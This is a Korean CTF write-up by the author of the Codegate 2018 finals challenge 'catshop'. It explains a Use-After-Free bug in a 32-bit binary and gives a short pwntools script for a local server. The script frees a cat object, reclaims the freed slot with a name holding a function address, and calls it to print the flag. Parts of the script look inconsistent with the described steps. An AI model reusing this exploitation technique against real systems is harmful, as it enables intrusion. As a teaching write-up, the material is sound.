Codegate2018 catshop

By pesante | April 28, 2018

Codegate 2018 Final Catshop 출제자 Write Up

안녕하세요, pesante입니다.

2018년도 코드게이트 본선에 출제했던 catshop에 대해 간단한 풀이를 작성해보았습니다.
catshop은 본선에서 주니어를 위한 문제로 비교적 쉽게 출제되었습니다.
보호기법은 다음과 같습니다.


gdb-peda$ checksec
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)


32bit 바이너리이고 NX, canary가 걸려있습니다.
해당 바이너리에서는 Use-After-Free 취약점이 존재합니다.

Use-After-Free는 말 그대로 힙 공간에서 alloc한 공간을 free한 후에 reuse 함으로써 일어날 수 있는 취약점입니다.

좀 더 자세한 내용을 알고 싶다면 전 블로그 링크를 참고해봅시다!


원양어선 전 블로그 - Heap 영역에서 발생하는 취약점을 알아보자!


바이너리를 실행하면 다음과 같은 메뉴들을 확인할 수 있습니다.


----------------------------------------------------------
1. Buy cat
2. Sell cat
3. Mew
4. Your name change
5. Your name print
6. Exit
----------------------------------------------------------
your choice:


Use-After-Free 취약점에 맞추어 실질적인 기능을 다시 나열해보면 다음과 같습니다.


1. Buy cat - malloc
2. Sell cat - free
3. Mew - use
4. Your name change - malloc
5. Your name print
6. Exit


Use-After-Free를 발생시켜 EIP를 컨트롤하기 위해서는 다음과 같은 과정이 필요합니다.


1. Buy cat을 하여 객체를 malloc 합니다.
2. Sell cat을 하여 객체를 Free 합니다.
3. Your name change를 하되, 이 때 name의 크기를 cat 구조체의 크기와 같거나 작게 하여 cat의 자리에 할당되도록 합니다.
- 해당 바이너리 파일에는 congFunction이 존재하는데 "cat flag"를 해주는 역할을 합니다.
- 이름congFunction의 주소로 넣습니다.
4. Mew 를 하여 이름으로 덮은 부분을 call 합니다. congFunction이 실행되면서 플래그를 읽습니다.


위의 과정을 옮긴 익스플로잇 코드는 다음과 같습니다.


from pwn import *

server_ip='127.0.0.1'
port=8888
sock=''

if  __name__ == "__main__":
	sock = remote(server_ip, port)
	server_address = (server_ip, port)

	sock.connect(server_address)

	print sock.recv(1024)


	sock.send(p32(1))
	print sock.recv(1024)
	sock.send(p32(2))
	print sock.recv(1024)
	sock.send(p32(4))
	print sock.recv(1024)
	sock.send(p32(5))
	print sock.recv(1024)
	sock.send('\xB6\x88\x04\x08'+'\n')
	print sock.recv(1024)
	sock.send(p32(3))
	print sock.recv(1024)
	print sock.recv(1024)
	print sock.recv(1024)
	print sock.recv(1024)


코드게이트 운영하신 문들, 참여하신 분들 모두 수고하셨습니다!

comments powered by Disqus